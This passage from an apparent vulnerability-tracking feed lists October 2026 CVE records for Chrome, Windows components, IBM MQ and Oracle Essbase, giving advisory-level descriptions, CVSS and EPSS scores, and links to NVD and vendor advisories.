FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113121&date=2026-10-25
Memory corruption in ContextMenu in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113134
Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113134).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113134&date=2026-10-25).
Sources:
NVD CVE-2026-113134: https://nvd.nist.gov/vuln/detail/CVE-2026-113134
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113134&date=2026-10-25
Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows kernel32.dll allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-68836
Heap-based buffer overflow in Windows kernel32.dll allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows kernel32.dll allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-68836).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-68836&date=2026-10-25).
Sources:
NVD CVE-2026-68836: https://nvd.nist.gov/vuln/detail/CVE-2026-68836
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-68836
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-68836&date=2026-10-25
Heap-based buffer overflow in Windows kernel32.dll allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Graphic Fonts allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69326
Heap-based buffer overflow in Graphic Fonts allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Graphic Fonts allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69326).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69326&date=2026-10-25).
Sources:
NVD CVE-2026-69326: https://nvd.nist.gov/vuln/detail/CVE-2026-69326
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69326
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69326&date=2026-10-25
Heap-based buffer overflow in Graphic Fonts allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69354
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69354).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69354&date=2026-10-25).
Sources:
NVD CVE-2026-69354: https://nvd.nist.gov/vuln/detail/CVE-2026-69354
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69354
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69354&date=2026-10-25
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-69363
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges over a network.
CVSS 8.0 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69363).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69363&date=2026-10-25).
Sources:
NVD CVE-2026-69363: https://nvd.nist.gov/vuln/detail/CVE-2026-69363
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69363
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69363&date=2026-10-25
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69387
Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69387).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69387&date=2026-10-25).
Sources:
NVD CVE-2026-69387: https://nvd.nist.gov/vuln/detail/CVE-2026-69387
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69387
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69387&date=2026-10-25
Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Enterprise App Management allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-69452
Use after free in Windows Enterprise App Management allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Use after free in Windows Enterprise App Management allows an authorized attacker to elevate privileges over a network.
CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69452).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69452&date=2026-10-25).
Sources:
NVD CVE-2026-69452: https://nvd.nist.gov/vuln/detail/CVE-2026-69452
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69452
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69452&date=2026-10-25
Use after free in Windows Enterprise App Management allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69471
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69471).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69471&date=2026-10-25).
Sources:
NVD CVE-2026-69471: https://nvd.nist.gov/vuln/detail/CVE-2026-69471
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69471
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69471&date=2026-10-25
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows iSCSI allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69521
Integer overflow or wraparound in Windows iSCSI allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Integer overflow or wraparound in Windows iSCSI allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69521).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69521&date=2026-10-25).
Sources:
NVD CVE-2026-69521: https://nvd.nist.gov/vuln/detail/CVE-2026-69521
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69521
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69521&date=2026-10-25
Integer overflow or wraparound in Windows iSCSI allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM MQ could allow a remote attacker to execute arbitrary code due to a stack buffer overflow when processing TLS certificates with malformed distinguished names during channel...
https://kevwire.com/record/CVE-2026-12665
IBM MQ could allow a remote attacker to execute arbitrary code due to a stack buffer overflow when processing TLS certificates with malformed distinguished names during channel... (Oct 19, 2026).
IBM MQ could allow a remote attacker to execute arbitrary code due to a stack buffer overflow when processing TLS certificates with malformed distinguished names during channel connection establishment.
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12665).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-12665&date=2026-10-25).
Sources:
NVD CVE-2026-12665: https://nvd.nist.gov/vuln/detail/CVE-2026-12665
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292667
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-12665&date=2026-10-25
IBM MQ could allow a remote attacker to execute arbitrary code due to a stack buffer overflow when processing TLS certificates with malformed distinguished names during channel connection establishment.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91635
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91635).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91635&date=2026-10-25).
Sources:
NVD CVE-2026-91635: https://nvd.nist.gov/vuln/detail/CVE-2026-91635
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91635&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91636
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91636).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91636&date=2026-10-25).
Sources:
NVD CVE-2026-91636: https://nvd.nist.gov/vuln/detail/CVE-2026-91636
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91636&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91638
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91638).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91638&date=2026-10-25).
Sources:
NVD CVE-2026-91638: https://nvd.nist.gov/vuln/detail/CVE-2026-91638
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91638&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91647
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91647).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91647&date=2026-10-25).
Sources:
NVD CVE-2026-91647: https://nvd.nist.gov/vuln/detail/CVE-2026-91647
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91647&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91658
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91658).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91658&date=2026-10-25).
Sources:
NVD CVE-2026-91658: https://nvd.nist.gov/vuln/detail/CVE-2026-91658
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91658&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Build).
https://kevwire.com/record/CVE-2026-91659
Vulnerability in Oracle Essbase (component: Build). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Build).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91659).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91659&date=2026-10-25).
Sources:
NVD CVE-2026-91659: https://nvd.nist.gov/vuln/detail/CVE-2026-91659
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91659&date=2026-10-25
Vulnerability in Oracle Essbase (component: Build).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91661
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91661).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91661&date=2026-10-25).
Sources:
NVD CVE-2026-91661: https://nvd.nist.gov/vuln/detail/CVE-2026-91661
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91661&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91663
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91663).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91663&date=2026-10-25).
Sources:
NVD CVE-2026-91663: https://nvd.nist.gov/vuln/detail/CVE-2026-91663
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91663&date=2026-10-25
